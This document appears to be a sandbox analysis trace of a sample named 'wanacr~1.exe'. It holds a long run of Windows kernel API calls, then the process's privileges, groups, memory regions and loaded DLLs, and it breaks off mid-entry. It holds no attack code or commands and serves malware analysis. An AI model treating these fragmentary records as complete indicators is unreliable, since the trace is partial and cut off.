IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.853] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.853] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.853] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.853] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.853] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.853] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.853] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.853] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.853] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.854] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.926] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.927] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.927] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.927] EngAllocMem () returned 0xfffff9014251f030 [0115.927] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.927] MmMapViewOfSection (in: SectionObject=0xffffc0000154de20, Process=0xffffe0000137f900, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0x5eb4300000, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff9014251f370) returned 0x0 [0115.927] EngCreateBitmap () returned 0x17050580 [0115.927] EngAssociateSurface () returned 0x1 [0115.927] EngLockSurface () returned 0xfffff901400f55c8 [0115.927] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001463440 [0115.927] KeInitializeEvent (in: Event=0xffffe00001463458, Type=0x1, State=0 | out: Event=0xffffe00001463458) [0115.927] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.934] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.934] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.934] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.934] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.934] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.935] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.935] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.115] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.116] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.179] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.179] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.180] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.180] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.239] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.239] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.239] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.239] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.315] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.315] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.316] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.316] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.356] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.357] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.357] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.373] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.373] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.373] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.373] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.373] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.373] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.405] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.405] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.405] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.406] EngAllocMem () returned 0xfffff9014087f840 [0116.406] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.406] MmMapViewOfSection (in: SectionObject=0xffffc00001a3c060, Process=0xffffe0000137f900, BaseAddress=0xfffff9014087fb68*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff9014087fb80, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014087fb68*=0x5eb4350000, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff9014087fb80) returned 0x0 [0116.406] EngCreateBitmap () returned 0x680506f0 [0116.406] EngAssociateSurface () returned 0x1 [0116.406] EngLockSurface () returned 0xfffff901408cccb8 [0116.406] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000144ce70 [0116.406] KeInitializeEvent (in: Event=0xffffe0000144ce88, Type=0x1, State=0 | out: Event=0xffffe0000144ce88) [0116.406] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.514] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.514] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.515] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.515] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.515] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.551] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.552] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.560] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.560] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.560] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.625] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.625] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.626] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.626] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.685] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.685] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.685] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.685] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.686] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.686] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.758] IoGetCurrentProcess () returned 0xffffe0000137f900 [0116.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.930] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0x5eb4350000) returned 0x0 [0116.930] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0x5eb0e20000) returned 0x0 Process: id = "70" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x545eb000" os_pid = "0x910" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "69" os_parent_pid = "0x8ec" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 8213 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8214 start_va = 0xbe96460000 end_va = 0xbe9647ffff entry_point = 0x0 region_type = private name = "private_0x000000be96460000" filename = "" Region: id = 8215 start_va = 0xbe96480000 end_va = 0xbe9648efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96480000" filename = "" Region: id = 8216 start_va = 0xbe96490000 end_va = 0xbe9688ffff entry_point = 0x0 region_type = private name = "private_0x000000be96490000" filename = "" Region: id = 8217 start_va = 0xbe96890000 end_va = 0xbe96893fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96890000" filename = "" Region: id = 8218 start_va = 0x7ff6cec10000 end_va = 0x7ff6cec32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cec10000" filename = "" Region: id = 8219 start_va = 0x7ff6cec35000 end_va = 0x7ff6cec35fff entry_point = 0x0 region_type = private name = "private_0x00007ff6cec35000" filename = "" Region: id = 8220 start_va = 0x7ff6cec3e000 end_va = 0x7ff6cec3ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6cec3e000" filename = "" Region: id = 8221 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 8222 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8223 start_va = 0xbe968a0000 end_va = 0xbe968a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be968a0000" filename = "" Region: id = 8227 start_va = 0xbe968b0000 end_va = 0xbe968b1fff entry_point = 0x0 region_type = private name = "private_0x000000be968b0000" filename = "" Region: id = 8228 start_va = 0xbe96980000 end_va = 0xbe96d7ffff entry_point = 0x0 region_type = private name = "private_0x000000be96980000" filename = "" Region: id = 8229 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8230 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8231 start_va = 0xbe96460000 end_va = 0xbe9646ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000be96460000" filename = "" Region: id = 8232 start_va = 0x7ff6ceb10000 end_va = 0x7ff6cec0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ceb10000" filename = "" Region: id = 8233 start_va = 0xbe968c0000 end_va = 0xbe9693dfff entry_point = 0xbe968c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8234 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 8235 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8236 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8237 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 8238 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 8239 start_va = 0xbe96470000 end_va = 0xbe96476fff entry_point = 0x0 region_type = private name = "private_0x000000be96470000" filename = "" Region: id = 8240 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 8241 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 8242 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 8243 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 8244 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8245 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8246 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8247 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 8248 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8249 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 8250 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8251 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8252 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8253 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8254 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 8255 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8256 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 8257 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 8258 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 8259 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 8260 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 8261 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8262 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8263 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8264 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = 